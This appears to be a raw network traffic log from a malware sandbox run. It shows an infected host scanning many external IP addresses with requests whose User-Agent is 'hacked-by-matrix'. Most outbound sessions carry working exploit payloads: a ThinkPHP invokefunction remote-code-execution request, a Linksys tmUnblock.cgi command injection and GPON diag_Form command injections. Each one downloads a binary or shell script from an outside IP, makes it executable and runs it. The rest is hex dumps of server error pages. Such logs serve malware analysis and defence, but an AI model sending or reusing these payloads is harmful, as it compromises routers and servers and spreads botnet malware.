Mar 21, 2024 05:22:43.086927891 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:22:47 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 21, 2024 05:22:43.659837961 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:22:47 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 21, 2024 05:22:44.793962002 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:22:47 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
911	192.168.2.14	56388	95.154.192.80	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:43.082024097 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:43.999291897 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:44.157998085 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:44 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:22:44.158013105 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:22:44.158023119 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:22:44.158086061 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:22:44.158097982 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:22:44.158113956 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:22:44.158160925 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:22:44.158220053 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to rascall.simpleservers.co.uk's <a href="mailto:serv
Mar 21, 2024 05:22:44.158231020 CET	369	IN	Data Raw: 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 20 74 Data Ascii: utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">C

Session ID	Source IP	Source Port	Destination IP	Destination Port
912	192.168.2.14	45054	172.65.57.192	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:43.767074108 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
913	192.168.2.14	36600	95.57.130.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.195071936 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:44.995433092 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:45.789011955 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:46.047708035 CET	964	IN	Data Raw: 68 69 6e 6b 07 70 70 2f 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 76 61 72 73 5b 31 5d 5b 5d 3d Data Ascii: hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 404 Not FoundServer: mini_httpd/1.30 26Oct2018Date:
Mar 21, 2024 05:22:48.452181101 CET	964	IN	Data Raw: 68 69 6e 6b 07 70 70 2f 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 76 61 72 73 5b 31 5d 5b 5d 3d Data Ascii: hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 404 Not FoundServer: mini_httpd/1.30 26Oct2018Date:

Session ID	Source IP	Source Port	Destination IP	Destination Port
914	192.168.2.14	53150	118.161.139.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.382808924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
915	192.168.2.14	36398	210.18.232.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.382808924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
916	192.168.2.14	40420	178.243.209.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.382810116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
917	192.168.2.14	43356	2.125.212.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.382853985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
918	192.168.2.14	51322	212.31.182.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.382885933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
919	192.168.2.14	42640	118.10.225.31	443

Timestamp	Bytes transferred	Direction	Data
